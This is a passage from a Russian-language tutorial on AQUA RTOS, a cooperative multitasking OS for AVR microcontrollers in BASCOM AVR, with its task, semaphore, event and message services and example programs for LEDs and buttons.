Очевидно, что если «какой-то код» работает достаточно долго, МК может не заметить короткого нажатия кнопки.
К счастью, МК снабжен системой прерываний, которая позволяет решить эту проблему: все критичные сигналы можно «повесить» на прерывания и написать для каждого обработчик. Так появляется следующий уровень: *суперцикл с прерываниями*.
В примере ниже показана структура программы с суперциклом и прерыванием, обрабатывающим нажатие кнопки:
```
on button button_isr ' назначаем обработчик кнопки
enable interrupts
' *** суперцикл ***
do
' какой-то код
loop
end
' обработчик кнопки
button_isr:
' делаем что-то при нажатии кнопки
return
```
Однако использование прерываний порождает новую проблему: код обработчика прерывания должен быть как можно быстрее и короче; внутри прерываний функционал МК ограничен. Поскольку МК AVR не имеют системы иерархических прерываний, внутри прерывания не может случиться другое прерывание – они в это время аппаратно запрещены. Так что прерывание должно выполняться максимально быстро, иначе другие прерывания (и возможно, более важные) будут пропущены и не обработаны.
**Запоминание прерываний**На самом деле, находясь внутри прерывания, МК способен отметить факт другого прерывания в специальном регистре, что позволяет обработать его позже. Однако все равно это прерывание не может быть обработано немедленно.
Поэтому мы не можем писать в обработчике прерывания что-то сложное, особенно если этот код должен иметь задержки – ведь пока задержка не отработает, МК не вернется к основной программе (суперциклу) и будет глух к другим прерываниям.
Из-за этого внутри обработчика прерываний зачастую приходится лишь отмечать факт события флагом – своим для каждого события – а затем уже проверять и обрабатывать флаги внутри суперцикла. Это, конечно, удлиняет время реакции на событие, но зато мы хотя бы не прозеваем что-то важное.
Таким образом, возникает следующий уровень сложности – *суперцикл с прерываниями и флагами*.
Ниже показан подобный код:
```
on button button_isr ' назначаем обработчик кнопки
enable interrupts
' *** суперцикл ***
do
' какой-то код
if button_flag = 1 then
' реакция на нажатие кнопки
button_flag = 0 ' не забудем сбросить флаг
end if
' еще какой-то код
loop
end
' *** обработчик прерывания кнопки ***
button_isr:
button_flag = 1
return
```
Немалое число программ для МК этим и ограничивается. Однако такие программы обычно все еще более-менее просты. Если писать что-то более сложное, то число флагов начинает расти как снежный ком, а код становится все более запутан и нечитаем. Кроме того, в примере выше никак не решена проблема с задержками. Конечно, можно «повесить» отдельное прерывание на таймер, и в нем… тоже управлять различными флагами. Но от этого программа становится совсем безобразной, число взаимозависимых флагов растет в геометрической прогрессии, и довольно скоро разобраться в таком «макаронном коде» с трудом может даже сам разработчик. Попытка найти ошибку или модифицировать код зачастую становится равна по усилиям разработке нового проекта.
Как же решить проблему «макаронного кода» и сделать его более читаемым и управляемым? На помощь приходит *операционная система* (ОС). В ней функционал, который должен реализовать МК, поделен на задачи, работой которых управляет ОС.
Виды операционных систем для МК
-------------------------------
Операционные системы для МК можно поделить на два больших класса: ОС с вытеснением и кооперативные ОС. В любой из таких ОС задачами управляет специальная процедура, называемая *диспетчер*. В ОС с *вытеснением* диспетчер самостоятельно в произвольный момент переключает выполнение с одной задачи на другую, выделяя каждой какое-то количество тактов машинного времени (возможно разное, смотря по приоритету задачи). Такой подход в целом работает замечательно, позволяя вообще не оглядываться на содержание задач: в коде задачи можно написать хоть
```
1:
goto 1
```
– и все равно остальные задачи (включая и эту) будут выполняться. Однако вытесняющие ОС требуют много ресурсов (памяти и тактов процессора), поскольку при каждом переключении должны полностью сохранить контекст отключаемой задачи и загрузить контекст возобновляемой. Под контекстом здесь понимается содержимое машинных регистров и стека (BASCOM использует два стека – аппаратный для адресов возврата подпрограмм и программный – для передачи аргументов). Мало того, что такая загрузка требует множества тактов процессора, так еще и контекст каждой задачи нужно где-то хранить на то время, пока она не работает. В «больших» процессорах, изначально ориентированных на многозадачность, эти функции часто поддерживаются аппаратно, да и ресурсов у них гораздо больше. В МК AVR нет аппаратной поддержки многозадачности (все нужно делать «вручную»), а доступная память мала. Поэтому вытесняющие ОС, хотя и существуют, не слишком подходят для простых МК.
Другое дело – *кооперативные ОС*. Здесь сама задача управляет тем, в какой момент передать управление диспетчеру, позволив ему запустить на исполнение другие задачи. Более того, задачи тут обязаны это делать – иначе исполнение кода застопорится. С одной стороны кажется, что такой подход снижает общую надежность: ведь если какая-то задача «зависнет», она никогда не вызовет диспетчер, и вся система перестанет отвечать. С другой стороны, линейный код или суперцикл в этом плане ничем не лучше – ведь они могут зависнуть точно с таким же риском.
Однако у кооперативной ОС есть важное преимущество. Поскольку здесь программист сам задает момент переключения, оно не может произойти внезапно, например, во время работы задачи с каким-нибудь ресурсом или посреди вычисления арифметического выражения. Поэтому в кооперативной ОС в большинстве случаев можно обойтись без сохранения контекста. Это существенно экономит процессорное время и память, а потому выглядит куда более подходящим для реализации на МК AVR.
Переключение задач в BASCOM AVR
-------------------------------
Чтобы реализовать переключение задач в среде BASCOM AVR, код задачи, каждая из которых реализована как обычная процедура, должен в каком-то месте вызывать диспетчер – тоже реализованный как обычная процедура.
Представим, что у нас есть две задачи, каждая из которых в каком-то месте своего кода вызывает диспетчер.
```
sub task1()
do
'код Задачи 1
'вызов диспетчера
loop
end sub
' ----------------------------------
sub task2()
do
'код Задачи 2
'вызов диспетчера
loop
end sub
```
Допустим, выполнялась Задача 1. Давайте поглядим, что окажется в стеке, когда она выполнит «вызов диспетчера»:
> адрес возврата к основному коду (2 байта)
>
> вершина стека –> адрес возврата к Задаче 1, вызвавшей диспетчер (2 байта)
Вершина стека будет указывать на адрес инструкции в Задаче 1, которая следует за вызовом диспетчера (инструкция **loop** в нашем примере).
Цель диспетчера в простейшем случае – передать управление Задаче 2. Вопрос – как это сделать? (предположим, диспетчеру уже известен адрес Задачи 2).
Для этого диспетчер должен вытащить из стека (и где-то запомнить) адрес возврата к Задаче 1, и поместить на это место в стек адрес Задачи 2, после чего дать команду return. Процессор извлечет из стека помещенный туда адрес и, вместо возврата к Задаче 1, перейдет на выполнение Задачи 2.
В свою очередь, когда Задача 2 вызовет диспетчер, мы так же вытащим из стека и сохраним адрес, по которому можно будет вернуться к Задаче 2, и загрузим в стек ранее сохраненный адрес Задачи 1. Дадим команду **return** – и окажемся в точке продолжения Задачи 1.
В итоге у нас получится такая чехарда:
> Задача 1 –> Диспетчер –> Задача 2 –> Диспетчер –> Задача 1 ….
Неплохо! И это работает. Но, конечно, для сколь-нибудь пригодной к практическому использованию ОС этого мало. Ведь не всегда и не все задачи должны работать – например, они могут чего-то *ожидать* (истечения времени задержки, появления какого-нибудь сигнала и т.п.). Значит, у задач должен быть *статус* (РАБОТАЕТ, ГОТОВА, ОЖИДАЕТ и т.п). Кроме того, было бы неплохо, чтобы задачам назначался *приоритет*. Тогда, если более одной задачи готовы к выполнению, диспетчер продолжит ту задачу, которая имеет наибольший приоритет.
AQUA RTOS
---------
Для реализации описанной идеи была разработана кооперативная ОС AQUA RTOS, предоставляющая задачам необходимые сервисы и позволяющая реализовать кооперативную многозадачность в среде BASCOM AVR.
**Важное замечание касательно режима процедур в BASCOM AVR**Перед тем, как начать описание AUQA RTOS, следует заметить, что среда BASCOM AVR поддерживает два типа адресации процедур. Это регулируется опцией config submode = new | old.
В случае задания опции old компилятор, во-первых, будет компилировать весь код линейно, вне зависимости от того, используется он где-то или нет, во-вторых, процедуры без аргументов, оформленные в стиле sub name / end sub будет воспринимать как процедуры, оформленные в стиле name: / return. Это позволяет нам передавать адрес процедуры как метку в качестве аргумента другой процедуре путем использования модификатора bylabel. Это касается и процедур, оформленных в стиле в стиле sub name / end sub (в качестве метки нужно передать имя процедуры).
В то же время, режим submode = old налагает некоторые ограничения: процедуры задач не должны содержать аргументов; код файлов, подключенных через $include, включается в общий проект линейно, поэтому в подключенных файлах следует предусмотреть байпас – переход от начала к концу с помощью goto и метки.
Таким образом, в AQUA RTOS пользователь должен либо использовать для задач только старую нотацию процедур в стиле task\_name: / return, либо использовать более общепринятое sub name / end sub, добавив в начало своего кода модификатор config submode = old, а во включаемые файлы – байпас goto метка / код включаемого файла / метка:.
### Статусы задач AQUA RTOS
Для задач в AQUA RTOS определены следующие статусы:
```
OSTS_UNDEFINE
OSTS_READY
OSTS_RUN
OSTS_DELAY
OSTS_STOP
OSTS_WAIT
OSTS_PAUSE
OSTS_RESTART
```
Если задача еще не инициализирована, ей присвоен статус **OSTS\_UNDEFINE**.
После инициализации задача имеет статус **OSTS\_STOP**.
Если задача *готова к исполнению*, ей присваивается статус **OSTS\_READY**.
Выполняющаяся в данный момент задача имеет статус **OSTS\_RUN**.
Из него она может перейти в статусы **OSTS\_STOP, OSTS\_READY, OSTS\_DELAY, OSTS\_WAIT, OSTS\_PAUSE**.
Статус **OSTS\_DELAY** имеет задача, отрабатывающая *задержку*.
Статус **OSTS\_WAIT** присваивается задачам, которые *ожидают семафора, события или сообщения* (подробнее о них ниже).
В чем различие статусов **OSTS\_STOP** и **OSTS\_PAUSED**?
Если по какой-то причине задача получает статус **OSTS\_STOP**, то последующее возобновление работы задачи (при получении статуса **OSTS\_READY**) будет осуществляться с точки ее входа, т.е. с самого начала. Из статуса **OSTS\_PAUSE** задача продолжит работу в том месте, где была приостановлена.
### Управление статусом задач
Управлять задачами может как сама ОС – автоматически, так и пользователь, путем вызова сервисов ОС. Сервисов управления задачами несколько (имена всех сервисов ОС начинаются с префикса **OS\_**):
```
OS_InitTask(task_label, task_prio)
OS_Stop()
OS_StopTask(task_label)
OS_Pause()
OS_PauseTask(task_label)
OS_Resume()
OS_ResumeTask(task_label)
OS_Restart()
```
Каждый из них имеет два варианта: **OS\_сервис** и **OS\_сервисTask** (кроме сервиса **OS\_InitTask**, который имеет только один вариант; сервис **OS\_Init** инициализирует саму ОС).
В чем разница между **OS\_сервис** и **OS\_сервисTask** ? Первый метод действует на саму вызывавшую его задачу; второй позволяет задать в качестве аргумента указатель на другую задачу и, таким образом, из одной задачи управлять иной.
**Про OS\_Resume**Все сервисы управления задачами, кроме OS\_Resume и OS\_ResumeTask, после отработки автоматически вызывают диспетчер задач. В отличие от них, сервисы OS\_Resume\* только устанавливают задаче статус OSTS\_READY. Этот статус будет обработан только при явном вызове диспетчера.
### Приоритет и очередь задач
Как уже сказано выше, в реальной системе некоторые задачи могут оказаться более важными, а другие – второстепенными. Поэтому полезным свойством ОС является возможность назначить задачам приоритет. В этом случае, при наличии нескольких одновременно *готовых* задач, ОС сначала выберет задачу с наибольшим приоритетом. Если же **все** готовые задачи имеют равный приоритет, ОС будет ставить их на исполнение по кругу, в порядке, называемом «карусель» или round-robin.
В AQUA RTOS приоритет назначается задаче при ее *инициализации* через вызов сервиса **OS\_InitTask**, которому в качестве первого аргумента передается адрес задачи, а в качестве второго – число от 1 до 15. *Меньшее число означает больший приоритет*. В ходе работы ОС изменение назначенного задаче приоритета не предусмотрено.
### Задержки
В каждой задаче задержка отрабатывается независимо от других задач.
Таким образом, пока ОС отрабатывает задержку одной задачи, другие могут выполняться.
Для организации задержек предусмотрены сервисы **OS\_Delay | OS\_DelayTask**. В качестве аргумента передается число миллисекунд, на которое *откладывается* выполнение задачи. Поскольку размерность аргумента – **dword**, максимальная величина задержки составляет 4294967295 мс – или около 120 часов, что представляется вполне достаточным для большинства приложений. После вызова сервиса задержки автоматически вызывается диспетчер, который на время, пока будет отрабатываться задержка, передает управление другим задачам.
### Семафоры
Семафоры в AQUA RTOS – это что-то вроде флагов и переменных, доступных задачам. Они бывают двух типов – бинарные и счетные. Первые имеют только два состояния: свободен и закрыт. Вторые представляют собой байтовый счетчик (сервис счетных семафоров в текущей версии AQUA RTOS не реализован (я ленивая задница), поэтому все сказанное ниже относится только к бинарным семафорам).
Отличие семафора от простого флага в том, что задачу можно заставить *ждать освобождения* указанного семафора. В чем-то использование семафоров действительно напоминает железную дорогу: доехав до семафора, состав (задача) проверит семафор, и если он не открыт, будет ожидать появления разрешающего сигнала, чтобы ехать дальше. В это время другие поезда (задачи) могут продолжать движение (выполняться).
При этом вся черная работа возлагается на диспетчер. Как только задаче велено ждать семафор, управление автоматически передается диспетчеру, и он может запускать другие задачи – ровно до того момента, как указанный семафор освободится. Как только состояние семафора изменится на *свободен*, диспетчер назначит всем ожидавшим этот семафор задачам статус *готова* (**OSTS\_READY**), и они будут исполнены в порядке очереди и приоритета.
Всего в AQUA RTOS предусмотрено 16 двоичных семафоров (это число в принципе может быть увеличено путем изменения размерности переменной в блоке управления задач, т.к. внутри они реализованы как битовые флаги).
Бинарные семафоры работают через следующие сервисы:
```
hBSem OS_CreateBSemaphore()
OS_WaitBSemaphore(hBSem)
OS_WaitBSemaphoreTask(task_label, hBSem)
OS_BusyBSemaphore(hBSem)
OS_FreeBSemaphore(hBSem)
```
Перед использованием семафор нужно *создать*. Это делается вызовом сервиса **OS\_CreateBSemaphore**, который возвращает уникальный байтовый идентификатор (хэндл) созданного семафора **hBSem**, либо через пользовательский обработчик выдает ошибку **OSERR\_BSEM\_MAX\_REACHED**, говорящую о том, что достигнуто максимально возможное число бинарных семафоров.
С полученным идентификатором можно работать, передавая его в качестве аргумента в остальные семафорные сервисы.
Сервис **OS\_WaitBSemaphore | OS\_WaitBSemaphoreTask** переводит (текущую | указанную) задачу в состояние *ждать освобождения семафора* **hBSem**, если этот семафор занят, а затем передает управление диспетчеру, чтобы он мог запускать другие задача. Если семафор свободен, передача управления не происходит, и задача просто продолжит выполнение.
Сервисы **OS\_BusyBSemaphore** и **OS\_FreeBSemaphore** устанавливают семафор **hBSem** в состояние *занят* или *свободен* соответственно.
Уничтожение семафоров в целях упрощения ОС и уменьшения объема кода не предусмотрено. Таким образом, все созданные семафоры статичны.
### События
Помимо семафоров, задачи могут управляться событиями. Одной задаче можно указать *ожидать некоторое событие*, а другая задача (а также фоновый код) может *сигналить* об этом событии. При этом все задачи, которые ожидали данное событие, получат статус *готова к исполнению* (**OSTS\_READY**) и будут поставлены диспетчером на исполнение в порядке очереди и приоритета.
На какие события может реагировать задача? Ну, например:
* прерывание;
* возникновение ошибки;
* освобождение ресурса (иногда для этого удобнее использовать семафор);
* изменение состояния линии ввода-вывода или нажатие клавиши на клавиатуре;
* прием или посылка символа по RS-232;
* передача информации от одной части приложения к другой (см. тж. сообщения).
Система событий реализована через следующие сервисы:
```
hEvent OS_CreateEvent()
OS_WaitEvent(hEvent)
OS_WaitEventTask(task_label, hEvent)
OS_WaitEventTO(hEvent, dwTimeout)
OS_SignalEvent(hEvent)
```
Перед использованием события его нужно *создать*. Это делается вызовом функции **OS\_CreateEvent**, которая возвращает уникальный байтовый идентификатор (хэндл) события **hEvent**, либо через пользовательский обработчик выдает ошибку **OSERR\_EVENT\_MAX\_REACHED**, показывающую, что достигнут предел числа событий, какое может быть создано в ОС (максимум 255 разных событий).
Чтобы заставить задачу ожидать событие **hEvent**, в ее коде следует вызвать **OS\_WaitEvent**, передав хэндл события в качестве аргумента. После вызова этого сервиса управление будет автоматически передано диспетчеру.
В отличие от сервиса семафоров, в сервисе событий предусмотрен вариант ожидания события с *таймаутом*. Для этого служит сервис **OS\_WaitEventTO**. Вторым аргументом тут можно указать число миллисекунд, которые задача может ожидать событие. Если указанное время истекло, задача получит статус *готова к исполнению* так, как будто событие произошло, и будет поставлена диспетчером на продолжение исполнения в порядке очереди и приоритета. Узнать о том, что произошло не событие, а таймаут, задача может, проверив глобальный флаг **OS\_TIMEOUT**.
*Сигналить* о наступлении заданного события задача или фоновый код могут путем вызова сервиса **OS\_SignalEvent**, которому в качестве аргумента передается хэндл события. При этом всем задачам, ожидающим данное событие, ОС установит статус *готова к исполнению*, так что они смогут продолжить исполнение в порядке очереди и приоритета.
### Сообщения
Система сообщений работает в целом аналогично системе событий, однако предоставляет задачам больше возможностей и гибкости: здесь предусмотрено не только ожидание сообщения на указанную тему, но способ передачи от одной задаче к другой самого сообщения – числа или строки.
Реализовано это через следующие сервисы:
```
hTopic OS_CreateMessage()
OS_WaitMessage(hTopic)
OS_WaitMessageTask(task_label, hTopic)
OS_WaitMessageTO(hTopic, dwTimeout)
OS_SendMessage(hTopic, wMessage)
word_ptr OS_GetMessage(hTopic)
word_ptr OS_PeekMessage(hTopic)
string OS_GetMessageString(hTopic)
string OS_PeekMessageString(hTopic)
```
Чтобы воспользоваться сервисом сообщений, нужно сначала создать *тему сообщения*. Это делается через сервис **OS\_CreateMessage**, который возвращает байтовый хэндл темы **hTopic**, либо через пользовательский обработчик выдает ошибку **OSERR\_TOPIC\_MAX\_REACHED**, говорящую о том, что достигнуто максимально возможное число тем сообщений, и больше создать не получится.
Чтобы велеть задаче ожидать сообщение на тему **hTopic**, в ее коде следует вызвать **OS\_WaitMessage**, передав хэндл темы в качестве аргумента. После вызова этого сервиса управление будет автоматически передано диспетчеру задач. Таким образом, этот сервис переводит текущую задачу в состояние *ждать сообщения по теме **hTopic***.
Сервис ожидания с таймаутом **OS\_WaitMessageTO** работает аналогично сервису **OS\_WaitEventTO** системы событий.
Для посылки сообщений предусмотрен сервис **OS\_SendMessage**. Первым аргументом служит хэндл темы, на которую будет передано сообщение, а вторым – аргумент размерности **word**. Это может быть как самостоятельное число, так и *указатель на строку*, которая, в свою очередь, уже и является сообщением.
Чтобы получить указатель строки, достаточно воспользоваться встроенной в BASCOM функцией **varptr**, например, так:
```
strMessage = "Hello, world!"
OS_SendMessage hTopic, varptr (strMessage)
```
Возобновив работу после вызова **OS\_WaitMessage**, то есть, когда получено ожидаемое сообщение, задача может либо получить сообщение с его последующим автоматическим уничтожением, либо только просмотреть сообщение — в этом случае оно не уничтожится. Для этого служат последние четыре сервиса в списке. Первые два возвращают число размерности **word**, которое может быть либо самостоятельным сообщением, либо служить указателем строки, которая содержит сообщение. При этом **OS\_GetMessage** автоматически удаляет сообщение, а **OS\_PeekMessage** оставляет его.
Если задаче сразу нужна строка, а не указатель, можно воспользоваться сервисами **OS\_GetMessageString** или **OS\_PeekMessageString**, которые работают аналогично двум предыдущим, но возвращают строку, а не указатель на нее.
### Внутренняя таймерная служба
Для работы с задержками и отсчета времени AQUA RTOS использует встроенный в МК аппаратный таймер **TIMER0**. Таким образом, внешний код (фоновый и задач) не должен использовать этот таймер. Но обычно это и не требуется, т.к. ОС снабжает задачи всеми необходимыми средствами работы с временными интервалами. Разрешение таймера составляет 1 мс.
Примеры работы с AQUA RTOS
--------------------------
### Начальные настройки
В самом начале пользовательского кода нужно определить, будет ли код исполняться во встроенном симуляторе или на реальном железе. Определите константу **OS\_SIM = TRUE | FALSE**, которая задает режим симуляции.
Кроме того, в коде ОС отредактируйте константу **OS\_MAX\_TASK**, которая определяет максимальное число поддерживаемых ОС задач. Чем это число меньше, тем быстрее работает ОС (меньше накладные расходы), и тем меньше памяти она потребляет. Поэтому не стоит указывать там большее число задач, чем вам потребуется. *Не забывайте изменить эту константу, если число задач изменилось.*
### Инициализация ОС
Перед началом работы AQUA RTOS должна быть инициализирована. Для этого нужно вызвать сервис **OS\_Init**. Этот сервис настраивает начальные параметры ОС. Что еще более важно, у него есть аргумент – адрес пользовательской процедуры обработки ошибок. У нее, в свою очередь, тоже есть аргумент – код ошибки.
Этот обработчик обязательно должен быть в пользовательском коде (хотя бы в виде заглушки) – в него ОС передает коды ошибок, и у пользователя нет другого способа отловить их и соответствующим образом обработать. Настоятельно рекомендую хотя бы на этапе разработки не ставить заглушку, а включить в эту процедуру какой-нибудь вывод информации об ошибках.
Итак, первым этапом работы с AQUA RTOS нужно добавить в пользовательскую программу код инициализации ОС и процедуру обработчика ошибок:
```
OS_Init my_err_trap
'...
'...
'...
sub my_err_trap(err_code as byte)
print err_code
end sub
```
### Инициализация задач
Вторым этапом нужно инициализировать задачи, указав их имена и приоритет:
```
OS_InitTask task_1, 1
OS_InitTask task_2 , 1
'...
OS_InitTask task_N , 1
```
Тестовые задачи
---------------
### Помигаем светодиодами
Итак, давайте создадим тестовое приложение, которое можно загрузить в стандартную плату Arduino Nano V3. Создайте в папке с файлом ОС какую-нибудь папку (например, test), и там создайте следующий bas-файл:
```
' начальные установки компилятора
config submode = old
$include "..\aquaRTOS_1.05.bas"
$regfile = "m328pdef.dat"
$crystal = 16000000
$hwstack = 48
$swstack = 48
$framesize = 64
' объявление процедур
declare sub my_err_trap (byval err_code as byte)
declare sub task_1()
declare sub task_2()
' назначим светодиодам порты и режим работы
led_1 alias portd.4
led_2 alias portd.5
config portd.4 = output
config portd.5 = output
' *** начало кода приложения ***
' инициализируем ОС
OS_Init my_err_trap
' инициализируем задачи
OS_InitTask task_1, 1
OS_InitTask task_2 , 1
' изначально все задачи имеют статус «остановлена» (OSTS_STOP)
' чтобы задачи начали работать, им нужно задать статус
' «готова к выполнению» (OSTS_READY) вызовом сервиса OS_ResumeTask
OS_ResumeTask task_1
OS_ResumeTask task_2
' осталось запустить ОС вызовом диспетчера
OS_Sheduler
end
' *** задачи ***
sub task_1 ()
do
toogle led_1 ' переключим светодиод 1
OS_delay 1000 ' приостановить на 1000 мс
loop
end sub
sub task_2 ()
do
toogle led_2 ' переключим светодиод 2
OS_delay 333 ' приостановить на 333 мс
loop
end sub
' ****************************************************
' обработчик ошибок
sub my_err_trap(err_code as byte)
print "OS Error: "; err_code
end sub
```
Подключите аноды светодиодов к выводам **D4** и **D5** платы Arduino (или к другим выводам, изменив соответствующие строки-определения в коде). Катоды через ограничительные резисторы 100...500 Ом подсоедините к шине **GND**. Скомпилируйте и залейте прошивку в плату. Светодиоды начнут асинхронно переключаться с периодом 2 и 0,66 с.
Давайте рассмотрим код. Итак, сначала мы инициализируем оборудование (задаем опции компилятора, режим работы портов и назначаем aliases), затем – саму ОС, и наконец – задачи.
Поскольку только что созданные задачи находятся в состоянии «остановлена», нужно придать им статус «готова к выполнению» (возможно, не всем задачам в реальном приложении – ведь какие-то из них могут по замыслу разработчика изначально пребывать в остановленном состоянии, и запускаться на выполнение только из других задач, а не сразу при старте системы; однако в данном примере обе задачи сразу должны начать работу). Поэтому для каждой задачи мы вызываем сервис **OS\_ResumeTask**.
Теперь задачи готовы к исполнению, но еще не выполняются. Кто же их запустит? Конечно, диспетчер! Для этого мы должны вызвать его при первом запуске системы. Теперь, если все написано правильно, диспетчер будет поочередно выполнять наши задачи, а мы можем закончить основную часть программы оператором **end**.
Давайте посмотрим на задачи. Сразу бросается в глаза, что каждая из них оформлена как бесконечный цикл **do – loop**. Второе важное свойство – внутри такого цикла обязательно должен быть хотя бы один вызов либо диспетчера, либо сервиса ОС, автоматически вызывающего диспетчер после себя – иначе такая задача никогда не отдаст управление, и другие задачи не смогут выполняться. В нашем случае это сервис задержки **OS\_Delay**. В качестве аргумента мы указали ему число миллисекнуд, на которые следует приостановить выполнение каждой задачи.
Если в начале кода задать константу **OS\_SIM = TRUE** и запустить код не на реальном чипе, а в симуляторе, то можно проследить, как работает ОС.
Диспетчер, который мы вызвали, посмотрит, если ли задачи со статусом «готова к исполнению», и выстроит их в очередь согласно приоритету. Если приоритет одинаковый, то диспетчер будет «катать задачи на карусели», перемещая только что отработавшую задачу в самый конец очереди.
Выбрав задачу, которую следует исполнить (допустим, **task\_1**), диспетчер подменяет в стеке адрес возврата (первоначально он показывает на инструкцию **end** в основном коде) адресом точки входа задачи **task\_1**, которую система узнает в процессе инициализации задачи, и исполняет команду **return**, которая заставляет МК вытащить из стека адрес возврата и перейти к нему – то есть, начать исполнение задачи **task\_1** (оператор **do** в коде **task\_1**).
Задача **task\_1**, переключив свой светодиод, вызывает сервис **OS\_delay**, который, выполнив необходимые действия, переходит к диспетчеру.
Диспетчер сохраняет адрес, который был в стеке, в блок управления задачи **task\_1** (указывает на инструкцию, следующую за вызовом **OS\_delay**, т.е. инструкцию **loop**), а затем, «повернув карусель», обнаруживает, что теперь надо выполнить задачу **task\_2**. Он помещает в стек адрес задачи **task\_2** (указывает в данный момент на инструкцию **do** в коде задачи **task\_2**) и исполняет команду **return**, которая заставляет МК вытащить из стека адрес возврата и перейти к нему – то есть, начать исполнение задачи **task\_2**.
Задача **task\_2**, переключив свой светодиод, вызывает сервис **OS\_delay**, который, выполнив необходимые действия, переходит к диспетчеру.
Диспетчер сохраняет адрес, который был в стеке, в блок управления задачи **task\_1** (указывает на инструкцию, следующую за вызовом **OS\_delay**, т.е. инструкцию **loop**), а затем, «повернув карусель», обнаруживает, что теперь надо выполнить задачу **task\_2**. Отличие от первоначального состояния будет в том, что теперь в блоке управления задачей **task\_1** хранится не стартовый адрес задачи, а адрес точки, с которой произошел переход к диспетчеру. Туда (на инструкцию **loop** в коде задачи **task\_1**), и будет передано управление.
Задача **task\_1** выполнит инструкцию **loop**, и далее весь цикл «Задача 1 – Диспетчер – Задача 2 – Диспетчер» будет повторяться бесконечно.
### Посылаем сообщения
Теперь давайте попробуем посылать сообщения от одной задачи другой.
```
' начальные установки компилятора
config submode = old
$include "..\aquaRTOS_1.05.bas"
$regfile = "m328pdef.dat"
$crystal = 16000000
$hwstack = 48
$swstack = 48
$framesize = 64
' объявление процедур
declare sub my_err_trap (byval err_code as byte)
declare sub task_1()
declare sub task_2()
const OS_SIM = TURE ' будем запускать этот код в симуляторе
' объявление переменных
dim hTopic as byte ' переменная для темы сообщений
dim task_1_cnt as byte ' счетчик для задачи 1
dim strMessage as string * 16 ' сообщение
' *** начало кода приложения ***
OS_CreateMessage hTopic
OS_Init my_err_trap
OS_InitTask task_1 , 1
OS_InitTask task_2 , 1
OS_ResumeTask task_1
OS_ResumeTask task_2
OS_Sheduler
end
' *** задачи ***
sub task_1()
do
print "task 1"
OS_Sheduler
incr task_1_cnt ' увеличим счетчик на 1
if task_1_cnt > 3 then
print "task 1 is sending message to task 2"
strMessage = "Hello, task 2!"
' посылаем сообщение задаче 2
OS_SendMessage hTopic , varptr(strMessage)
task_1_cnt = 0
end if
loop
end sub
sub task_2()
do
print "task 2 is waiting messages..."
' будем ждать сообщений от задачи 1
OS_WaitMessage hTopic
print "message recieved: " ; OS_GetMessageString (hTopic)
loop
end sub
' ****************************************************
' обработчик ошибок
sub my_err_trap(err_code as byte)
print "OS Error: "; err_code
end sub
```
Результатом запуска программы в симуляторе будет следующий вывод в окно терминала:
> task 1
>
> task 2 is waiting messages…
>
> task 1
>
> task 1
>
> task 1
>
> task 1 is sending message to task 2
>
> task 1
>
> message recieved: Hello, task 2!
>
> task 2 is waiting messages…
>
> task 1
>
> task 1
>
> …
>
>
Обратите внимание, в каком порядке происходит работа и переключение задач. Как только Задача 1 напечатает **task 1**, управление передается диспетчеру для того, чтобы он мог запустить вторую задачу. Задача 2 печатает **task 2 is waiting messages...**, затем вызывает сервис ожидания сообщений на тему **hTopic**, и управление автоматически передается диспетчеру, который снова вызывает Задачу 1. Та снова печатает **task 1** и отдает управление в диспетчер. Однако, поскольку диспетчер обнаруживает, что Задача 2 теперь ожидает сообщений, он возвращает управление Задаче 1 на инструкцию **incr**, следующую за вызовом диспетчера.
Когда счетчик **task\_1\_cnt** в Задаче 1 превысит указанное значение, задача посылает сообщение, но продолжает исполняться – выполняет инструкцию **loop** и снова печатает **task 1**. После этого она вызывает диспетчер, который теперь обнаруживает, что для Задачи 2 имеется сообщение, и передает управление ей. Далее процесс выполняется циклически.
### Обработка событий
Следующий код опрашивает две кнопки и переключает светодиоды при нажатии на соответствующую кнопку:
```
' начальные установки компилятора
config submode = old
$include "..\aquaRTOS_1.05.bas"
$regfile = "m328pdef.dat"
$crystal = 16000000
$hwstack = 48
$swstack = 48
$framesize = 64
' объявление процедур
declare sub my_err_trap (byval err_code as byte)
declare sub task_scankeys()
declare sub task_led_1()
declare sub task_led_2()
' зададим светодиодам порты и режим их работы
led_1 alias portd.4
led_2 alias portd.5
config portd.4 = output
config portd.5 = output
button_1 alias pind.6
button_2 alias pind.7
config portd.6 = input
config portd.7 = input
' объявление переменных
dim eventButton_1 as byte
dim eventButton_2 as byte
' *** начало кода приложения ***
eventButton_1 = OS_CreateEvent ' создадим по событию на каждую кнопку
eventButton_2 = OS_CreateEvent
OS_Init my_err_trap
OS_InitTask task_scankeys , 1
OS_InitTask task_led_1 , 1
OS_InitTask task_led_2 , 1
OS_ResumeTask task_scankeys
OS_ResumeTask task_led_1
OS_ResumeTask task_led_2
OS_Sheduler
end
' *** задачи ***
sub task_scankeys()
do
debounce button_1 , 0 , btn_1_click , sub
debounce button_2 , 0 , btn_2_click , sub
OS_Sheduler
loop
btn_1_click:
OS_SignalEvent eventButton_1
return
btn_2_click:
OS_SignalEvent eventButton_2
return
end sub
sub task_led_1()
do
OS_WaitEvent eventButton_1
toggle led_1
loop
end sub
sub task_led_2()
do
OS_WaitEvent eventButton_2
toggle led_2
loop
end sub
' ****************************************************
' обработчик ошибок
sub my_err_trap(err_code as byte)
print "OS Error: "; err_code
end sub
```
Пример реального приложения под AQUA RTOS
-----------------------------------------
Давайте попробуем представить, как бы могла выглядеть программа автомата по продаже кофе. Автомат должен показывать светодиодами в кнопках наличие вариантов кофе и выбор; принимать сигналы от приемника монет, готовить заказанный напиток, выдавать сдачу. Кроме того, автомат должен управлять внутренним оборудованием: например, поддерживать температуру водонагревателя на уровне 95…97°С; передавать данные о неисправностях оборудования и запасе ингредиентов и принимать команды через удаленный доступ (например, посредством GSM-модема), а также сигнализировать об актах вандализма.
### Управляемый событиями подход
Поначалу разработчику бывает нелегко перейти от привычной схемы «суперцикл + флаги + прерывания» к подходу, основанному на задачах и событиях. Это требует выделения основных задач, которые должно выполнять устройство.
Давайте попробуем наметить такие задачи для нашего автомата:
* контроль и управление нагревателем – **ControlHeater()**
* индикация наличия и выбора напитков – **ShowGoods()**
* прием монет/купюр и их суммирование – **AcceptMoney()**
* опрос кнопок – **ScanKeys()**
* выдача сдачи – **MakeChange()**
* отпуск напитка – **ReleaseCoffee()**
* защита от вандализма – **Alarm()**
Прикинем степень важности задач и частоту их вызова.
**ControlHeater()** очевидно важна, поскольку для приготовления кофе нам постоянно нужен кипяток. Но она не должна выполняться слишком часто, потому что нагреватель обладает большой инерционностью, а вода остывает медленно. Достаточно проверять температуру раз в минуту. Дадим этой задаче приоритет 5.
